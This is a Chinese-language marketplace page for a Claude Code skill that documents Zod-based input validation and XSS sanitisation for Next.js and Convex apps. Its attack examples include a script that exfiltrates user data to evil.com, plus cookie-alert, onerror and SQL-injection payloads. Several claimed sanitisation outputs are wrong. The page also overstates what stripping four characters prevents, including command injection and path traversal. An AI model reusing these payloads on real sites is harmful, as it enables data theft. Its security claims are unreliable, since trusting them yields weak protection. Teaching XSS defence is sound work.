mcpField
I
input-validation-xss-prevention

input-validation-xss-prevention

github.com/harperaa安全19196 次安装45 周前更新
代码仓库

关于 input-validation-xss-prevention

面向 Web 应用的输入验证与 XSS 防护技能,使用 Zod 模式检查并清理请求数据。它提供 11 种预设模式和验证辅助函数,覆盖常见字段与表单。

主要功能

  1. 01提供 11 种 Zod 验证模式
  2. 02验证并清理用户输入
  3. 03支持邮箱、文本和 URL 校验
  4. 04提供表单与资料更新模式
  5. 05格式化验证错误并返回 HTTP 400

适用场景

  1. 01验证联系表单和注册数据
  2. 02清理用户简介、评论和文章内容
  3. 03检查 URL、标识符及分页参数
  4. 04在 API 路由中拒绝无效请求

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/harperaa/secure-claude-skills --skill input-validation-xss-prevention

安装后在 Claude Code 中输入/input-validation-xss-prevention确认已加载。

详细介绍

输入验证与 XSS 防护

Web 安全的普遍真理

永远不要信任用户输入。 这是 Web 安全的基本原则。

每一起重大数据泄露事件都可以追溯到输入验证失败:

  • SQL 注入——Equifax(1.47 亿条记录)
  • XSS——British Airways(38 万笔交易,罚款 2,000 万英镑)
  • 命令注入——不计其数的其他事件

根据 OWASP 的数据,注入漏洞始终是 Web 应用面临的第一或第二大威胁。输入验证不是可有可无的——它关乎生死存亡。

了解 XSS(跨站脚本攻击)

攻击方式

攻击者在个人简介字段中输入:

<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>

如果没有进行消毒处理,其他用户查看此个人资料时:

  1. 脚本会在他们的浏览器中执行
  2. 窃取他们的用户数据
  3. 将数据发送到攻击者的服务
  4. 受害者完全不知道自己已遭入侵
XSS 在现实中的后果

British Airways(2018 年): XSS 漏洞允许攻击者注入窃取支付卡信息的脚本。38 万笔交易遭到泄露。根据 GDPR 被罚款 2,000 万英镑。

MySpace Samy 蠕虫(2005 年): XSS 漏洞允许一个可自我传播的脚本在 20 小时内将攻击者添加为超过 100 万个个人资料的好友。虽然基本无害(只是添加好友),但它展示了其潜在危害:同样的技术也可以用来窃取凭据或支付信息。

我们的输入验证架构

为什么选择 Zod?

传统验证使用正则表达式和手动检查,容易出错,而且往往不够全面。

Zod 提供:

  • ✅ 类型安全的验证——TypeScript 能识别哪些内容有效
  • ✅ 可组合的模式——重复使用验证逻辑
  • ✅ 自动转换——内置消毒处理
  • ✅ 清晰的错误消息——帮助用户纠正错误
  • ✅ 运行时类型检查——在生产环境中捕获问题
消毒策略

我们会移除可能导致 XSS 攻击的危险字符:

  • <——防止开始标签
  • >——防止结束标签
  • "——防止属性注入
  • &——防止 HTML 实体注入

保留:

  • '——撇号(用于 O'Neal、D'Angelo、McDonald's 等姓名)

为什么不移除所有特殊字符? 因为这样一来,名为“O'Neal”的用户就无法输入自己的姓名。安全性必须兼顾安全与易用性。

行业验证方法

根据 OWASP 和 NIST 指南,安全的方法是:

  1. 验证(检查格式和类型)
  2. 消毒(移除危险内容)
  3. 在输出时编码(显示时转义)

我们会执行全部三项:

  • Zod 验证格式
  • .transform() 进行消毒
  • React 转义输出

实现文件

  • lib/validation.ts——11 个预构建的 Zod 模式
  • lib/validateRequest.ts——用于格式化错误的验证辅助函数

如何使用输入验证

基本模式
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // Validate and sanitize
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // Returns 400 with field errors
  }

  // TypeScript knows exact shape, data is XSS-sanitized
  const sanitizedData = validation.data;

  // Safe to use
}
完整的安全 API 路由
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';

async function createPostHandler(request: NextRequest) {
  try {
    // Authentication
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // Validation & Sanitization
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // Data is now:
    // - Type-safe (TypeScript validated)
    // - Sanitized (XSS characters removed)
    // - Validated (length, format checked)

    // Safe to store in database
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};

可用的验证模式

所有模式都位于 lib/validation.ts 中:

1. emailSchema

**适用于:**电子邮件地址

import { emailSchema } from '@/lib/validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // Normalized, lowercase

功能:

  • 必须是有效的电子邮件格式
  • 转换为小写
  • 最多 254 个字符
  • 去除首尾空白
2. safeTextSchema

**适用于:**短文本字段(姓名、标题、主题)

import { safeTextSchema } from '@/lib/validation';

const validation = validateRequest(safeTextSchema, inputText);

功能:

  • 最少 1 个、最多 100 个字符
  • 移除:< > " &
  • 保留:'(撇号)
  • 去除首尾空白
3. safeLongTextSchema

**适用于:**长文本(描述、个人简介、评论、消息)

import { safeLongTextSchema } from '@/lib/validation';

const validation = validateRequest(safeLongTextSchema, description);

功能:

  • 最少 1 个、最多 5,000 个字符
  • 与 safeTextSchema 使用相同的消毒方式
  • 适用于文本区域内容
4. usernameSchema

**适用于:**用户名、slug、标识符

import { usernameSchema } from '@/lib/validation';

const validation = validateRequest(usernameSchema, username);

功能:

  • 仅允许字母数字字符、下划线和连字符
  • 最少 3 个、最多 30 个字符
  • 仅允许小写字母
  • 不允许空格或特殊字符
5. urlSchema

**适用于:**网站 URL、链接字段

import { urlSchema } from '@/lib/validation';

const validation = validateRequest(urlSchema, websiteUrl);

功能:

  • 必须是有效的 URL
  • 仅允许 HTTPS(安全要求)
  • 最多 2,048 个字符
  • 验证协议和域名
6. contactFormSchema

**适用于:**完整的联系表单

import { contactFormSchema } from '@/lib/validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;

字段:

{
  name: string,      // safeTextSchema (1-100 chars)
  email: string,     // emailSchema
  subject: string,   // safeTextSchema (1-100 chars)
  message: string    // safeLongTextSchema (1-5000 chars)
}
7. createPostSchema

用途: 用户生成的博客文章

import { createPostSchema } from '@/lib/validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;

字段:

{
  title: string,           // safeTextSchema (1-100 chars)
  content: string,         // safeLongTextSchema (1-5000 chars)
  tags: string[] | null    // Array of safeText strings (optional)
}
8. updateProfileSchema

用途: 更新个人资料

import { updateProfileSchema } from '@/lib/validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;

const { displayName, bio, website } = validation.data;

字段:

{
  displayName: string | null,  // safeTextSchema (optional)
  bio: string | null,          // safeLongTextSchema (optional)
  website: string | null       // urlSchema (optional, HTTPS only)
}
9. idSchema

用途: 数据库 ID、引用字段

import { idSchema } from '@/lib/validation';

const validation = validateRequest(idSchema, itemId);

特性:

  • 非空字符串
  • 去除空白字符
  • 用于验证 ID 参数
10. positiveIntegerSchema

用途: 计数、数量、分页

import { positiveIntegerSchema } from '@/lib/validation';

const validation = validateRequest(positiveIntegerSchema, quantity);

特性:

  • 仅限整数
  • 必须为正数(> 0)
  • 不允许小数
11. paginationSchema

用途: 分页参数

import { paginationSchema } from '@/lib/validation';

const validation = validateRequest(paginationSchema, {
  page: queryParams.page,
  limit: queryParams.limit
});

const { page, limit } = validation.data;

字段:

{
  page: number,   // Default: 1, Min: 1
  limit: number   // Default: 10, Min: 1, Max: 100
}

创建自定义架构

自定义架构模板
// lib/validation.ts

import { z } from 'zod';

// Add your custom schema
export const myCustomSchema = z.object({
  field: z.string()
    .min(1, 'Required')
    .max(200, 'Too long')
    .trim()
    .transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});

export type MyCustomData = z.infer<typeof myCustomSchema>;
复杂架构示例
// Registration form with multiple validations
export const registrationSchema = z.object({
  username: usernameSchema,
  email: emailSchema,
  password: z.string()
    .min(12, 'Password must be at least 12 characters')
    .regex(/[A-Z]/, 'Must contain uppercase letter')
    .regex(/[a-z]/, 'Must contain lowercase letter')
    .regex(/[0-9]/, 'Must contain number')
    .regex(/[^A-Za-z0-9]/, 'Must contain special character'),
  passwordConfirm: z.string(),
  agreeToTerms: z.boolean().refine(val => val === true, {
    message: 'You must agree to terms'
  })
}).refine((data) => data.password === data.passwordConfirm, {
  message: "Passwords don't match",
  path: ["passwordConfirm"]
});
条件验证
export const orderSchema = z.object({
  orderType: z.enum(['pickup', 'delivery']),
  address: z.string().optional(),
  phone: z.string().optional()
}).refine(
  (data) => {
    if (data.orderType === 'delivery') {
      return !!data.address && !!data.phone;
    }
    return true;
  },
  {
    message: 'Address and phone required for delivery',
    path: ['address']
  }
);

前端验证

客户端预验证
'use client';

import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';

export function CreatePostForm() {
  const [errors, setErrors] = useState<Record<string, string>>({});

  async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
    e.preventDefault();
    setErrors({});

    const formData = new FormData(e.currentTarget);
    const data = {
      title: formData.get('title'),
      content: formData.get('content'),
      tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
    };

    // Client-side validation (UX improvement, not security)
    const validation = createPostSchema.safeParse(data);

    if (!validation.success) {
      const fieldErrors: Record<string, string> = {};
      validation.error.errors.forEach((err) => {
        if (err.path[0]) {
          fieldErrors[err.path[0].toString()] = err.message;
        }
      });
      setErrors(fieldErrors);
      return;
    }

    // Submit to server (server validates again!)
    try {
      const response = await fetch('/api/posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(validation.data)
      });

      if (response.ok) {
        alert('Post created!');
      }
    } catch (error) {
      console.error('Error:', error);
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input name="title" placeholder="Title" />
        {errors.title && <span className="error">{errors.title}</span>}
      </div>

      <div>
        <textarea name="content" placeholder="Content" />
        {errors.content && <span className="error">{errors.content}</span>}
      </div>

      <div>
        <input name="tags" placeholder="Tags (comma separated)" />
        {errors.tags && <span className="error">{errors.tags}</span>}
      </div>

      <button type="submit">Create Post</button>
    </form>
  );
}

重要: 客户端验证仅用于改善用户体验。始终在服务端进行验证——客户端验证可以被绕过。

攻击场景与防护

攻击 1:通过评论实施 XSS

攻击:

POST /api/comment
{
  "content": "<script>alert(document.cookie)</script>"
}

防护:

const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless
攻击 2:SQL 注入尝试

攻击:

POST /api/search
{
  "query": "'; DROP TABLE users; --"
}

防护:

const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized

注意: 在数据库层使用参数化查询,以全面防范 SQL 注入。

攻击 3:通过超长输入造成缓冲区溢出

攻击:

POST /api/profile
{
  "bio": "A".repeat(1000000) // 1 million characters
}

防护:

const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing
攻击 4:在多个字段中注入脚本

攻击:

POST /api/contact
{
  "name": "<script>evil()</script>",
  "email": "[email protected]",
  "subject": "<img src=x onerror=alert(1)>",
  "message": "Normal message"
}

防护:

const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "[email protected]"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically

测试输入验证

测试 XSS 清理
# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <get-from-/api/csrf>" \
  -d '{"title": "<script>alert(1)</script>"}'

# Expected: 200 OK, but title = "alert(1)"
测试验证错误
# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <get-from-/api/csrf>" \
  -d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"

# Expected: 400 Bad Request
# {
#   "error": "Validation failed",
#   "details": {
#     "title": "String must contain at most 100 character(s)"
#   }
# }
测试电子邮件验证
# Test invalid email
curl -X POST http://localhost:3000/api/contact \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test",
    "email": "not-an-email",
    "subject": "Test",
    "message": "Test"
  }'

# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }

错误响应格式

验证失败时,validateRequest() 返回:

{
  error: "Validation failed",
  details: {
    fieldName: "Error message",
    anotherField: "Another error"
  }
}

HTTP 状态:400 Bad Request

常见验证模式

模式 1:可选字段
const schema = z.object({
  required: safeTextSchema,
  optional: safeTextSchema.optional(),
  nullable: safeTextSchema.nullable(),
  optionalWithDefault: safeTextSchema.default('default value')
});
模式 2:数组验证
const schema = z.object({
  tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
  categories: z.array(z.string()).min(1, 'At least one category required')
});
模式 3:枚举值
const schema = z.object({
  status: z.enum(['draft', 'published', 'archived']),
  priority: z.enum(['low', 'medium', 'high'])
});
模式 4:数字范围
const schema = z.object({
  age: z.number().int().min(18).max(120),
  rating: z.number().min(1).max(5),
  price: z.number().positive()
});
模式 5:日期验证
const schema = z.object({
  birthdate: z.string().datetime(),
  appointmentDate: z.string().datetime()
    .refine((date) => new Date(date) > new Date(), {
      message: 'Appointment must be in the future'
    })
});

Convex 集成

使用 Convex 时,始终在 mutations 中验证输入——切勿将 args 直接插入数据库。

Convex 基本验证模式
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";

export const createPost = mutation({
  handler: async (ctx, args) => {
    // Validate with Zod
    const validation = createPostSchema.safeParse(args);

    if (!validation.success) {
      throw new Error("Invalid input: " + validation.error.message);
    }

    // Use sanitized data
    const { title, content, tags } = validation.data;

    await ctx.db.insert("posts", {
      title,
      content,
      tags,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});
在 Convex 中验证多个字段
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";

export const createItem = mutation({
  handler: async (ctx, args) => {
    // Validate each field with appropriate schema
    const titleValidation = safeTextSchema.safeParse(args.title);
    const descValidation = safeLongTextSchema.safeParse(args.description);

    if (!titleValidation.success || !descValidation.success) {
      throw new Error("Invalid input");
    }

    // Use sanitized data
    await ctx.db.insert("items", {
      title: titleValidation.data,
      description: descValidation.data,
      userId: ctx.auth.userId,  // From Clerk authentication
      createdAt: Date.now()
    });
  }
});
反面模式:直接插入 Args(绝对不要这样做)
// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
  handler: async (ctx, args) => {
    // VULNERABLE: args inserted directly without validation
    await ctx.db.insert("items", args);
  }
});

// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
  handler: async (ctx, args) => {
    const validation = createItemSchema.safeParse(args);
    if (!validation.success) {
      throw new Error("Invalid input");
    }

    await ctx.db.insert("items", {
      title: validation.data.title,
      description: validation.data.description,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});
Convex 验证为何至关重要
  1. 前端验证可以被绕过——攻击者可以直接调用 Convex mutations
  2. Convex 函数就是你的 API——应将它们视为 API 路由,并进行完整验证
  3. 仅有类型安全还不够——TypeScript 类型无法阻止 XSS,也无法验证长度
  4. 纵深防御——即使 Next.js API 已进行验证,Convex 也应进行验证

输入验证可以防止的问题

✅ 跨站脚本攻击(XSS)——主要防护 ✅ SQL/NoSQL 注入——长度限制 + 清理 ✅ 命令注入——移除危险字符 ✅ 模板注入——清理模板语法 ✅ 路径遍历——验证路径,移除 ../ ✅ 缓冲区溢出——强制执行长度限制 ✅ 类型混淆——强制使用正确的数据类型 ✅ 业务逻辑错误——验证范围和格式

应避免的常见错误

❌ 不要因为“这是内部 API”就跳过验证 ❌ 不要只依赖客户端验证 ❌ 不要未经验证就直接使用 body.field ❌ 不要用 .replace() 手动清理——请使用 Zod ❌ 不要认为通过身份验证就意味着输入安全 ❌ 不要忘记在 Convex mutations 中进行验证

✅ 要验证所有用户输入,即使输入来自已通过身份验证的用户 ✅ 要使用 lib/validation.ts 中预先构建的架构 ✅ 要返回详细的验证错误(有助于改善用户体验) ✅ 要结合使用验证、速率限制和 CSRF 防护 ✅ 要同时在 API 路由和 Convex mutations 中进行验证

参考资料

后续步骤

  • 若要防范 CSRF:使用 csrf-protection 技能
  • 若要进行速率限制:使用 rate-limiting 技能
  • 若要安全地处理错误:使用 error-handling 技能
  • 若要测试验证功能:使用 security-testing 技能

评论

支持 Markdown